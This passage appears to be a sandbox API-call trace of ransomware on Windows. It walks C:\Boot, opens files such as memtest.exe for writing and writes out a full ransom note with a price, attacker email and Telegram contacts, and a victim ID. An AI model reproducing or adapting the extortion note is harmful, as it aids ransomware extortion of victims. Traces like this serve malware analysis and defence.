(HeapHandle=0x5b0000, Flags=0x0, Size=0x54) returned 0x2ff0720 [0122.438] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018888 [0122.438] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30188d8 [0122.438] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30188b0 | out: hHeap=0x5b0000) returned 1 [0122.438] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018798 | out: hHeap=0x5b0000) returned 1 [0122.438] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2ffa868 | out: hHeap=0x5b0000) returned 1 [0122.438] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018798 [0122.438] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.438] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.438] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13aa5870, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13aa5870, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0122.438] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.438] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.438] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x3006f50 [0122.438] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30188b0 [0122.438] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.438] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189c8 [0122.438] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018888 | out: hHeap=0x5b0000) returned 1 [0122.438] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30188d8 | out: hHeap=0x5b0000) returned 1 [0122.438] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018798 | out: hHeap=0x5b0000) returned 1 [0122.438] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2ff0720 | out: hHeap=0x5b0000) returned 1 [0122.438] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018798 [0122.438] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.438] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.438] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13acb9d0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13acb9d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0122.438] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.438] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.438] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa8) returned 0x2f650e0 [0122.438] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30188d8 [0122.438] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018888 [0122.438] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018810 [0122.438] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018860 [0122.438] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30188b0 | out: hHeap=0x5b0000) returned 1 [0122.438] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.438] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189c8 | out: hHeap=0x5b0000) returned 1 [0122.439] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018798 | out: hHeap=0x5b0000) returned 1 [0122.439] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3006f50 | out: hHeap=0x5b0000) returned 1 [0122.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018798 [0122.439] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.439] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.439] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13af1b30, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13af1b30, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0122.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189c8 [0122.439] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.439] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.439] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b17c90, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b17c90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0122.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfc) returned 0x2fefeb8 [0122.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30188b0 [0122.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018978 [0122.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x307c950 [0122.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x307c978 [0122.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x307c9a0 [0122.439] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30188d8 | out: hHeap=0x5b0000) returned 1 [0122.439] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018888 | out: hHeap=0x5b0000) returned 1 [0122.439] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018810 | out: hHeap=0x5b0000) returned 1 [0122.439] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018860 | out: hHeap=0x5b0000) returned 1 [0122.439] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018798 | out: hHeap=0x5b0000) returned 1 [0122.439] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189c8 | out: hHeap=0x5b0000) returned 1 [0122.439] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f650e0 | out: hHeap=0x5b0000) returned 1 [0122.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189c8 [0122.439] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.440] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.440] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b17c90, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b17c90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0122.440] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.440] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.440] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018798 [0122.440] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.440] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.440] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b3ddf0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b3ddf0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0122.440] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.440] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.440] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018860 [0122.440] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.440] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.440] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b63f50, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b63f50, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0122.440] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.440] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.440] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x16c) returned 0x6aabb8 [0122.440] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b8a0b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b8a0b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0122.440] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b8a0b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b8a0b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0122.440] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13bb0210, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bb0210, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0122.440] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0122.440] PathFindExtensionW (pszPath="C:\\Boot\\memtest.exe") returned=".exe" [0122.440] CreateFileW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0122.441] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc5b0 | out: hHeap=0x5b0000) returned 1 [0122.441] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13bd6370, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bd6370, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0122.441] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13bd6370, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bd6370, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0122.441] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13bfc4d0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bfc4d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0122.441] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13c22630, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c22630, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0122.441] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13c48790, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c48790, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0122.441] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13c6e8f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c6e8f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0122.441] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13c94a50, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c94a50, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0122.441] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13cbabb0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13cbabb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0122.441] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13cbabb0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13cbabb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0122.441] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13ce0d10, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13ce0d10, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0122.441] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13d06e70, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13d06e70, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0122.441] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13a0d2f0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13a0d2f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a0d2f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.441] PathFindExtensionW (pszPath="C:\\Boot\\_readme.txt") returned=".txt" [0122.441] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc5b0 | out: hHeap=0x5b0000) returned 1 [0122.441] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13a0d2f0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13a0d2f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a0d2f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.441] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.441] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.441] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.441] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.441] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.442] PathFindFileNameW (pszPath="C:\\Config.Msi\\") returned="Config.Msi\\" [0122.442] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.442] PathFindFileNameW (pszPath="") returned="" [0122.442] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.442] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.442] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.442] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.442] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018978 | out: hHeap=0x5b0000) returned 1 [0122.442] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.442] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.442] PathAppendW (in: pszPath="C:\\Config.Msi\\", pMore="_readme.txt" | out: pszPath="C:\\Config.Msi\\_readme.txt") returned 1 [0122.442] PathFileExistsW (pszPath="C:\\Config.Msi\\_readme.txt") returned 0 [0122.443] lstrcpyW (in: lpString1=0x307d938, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" [0122.443] 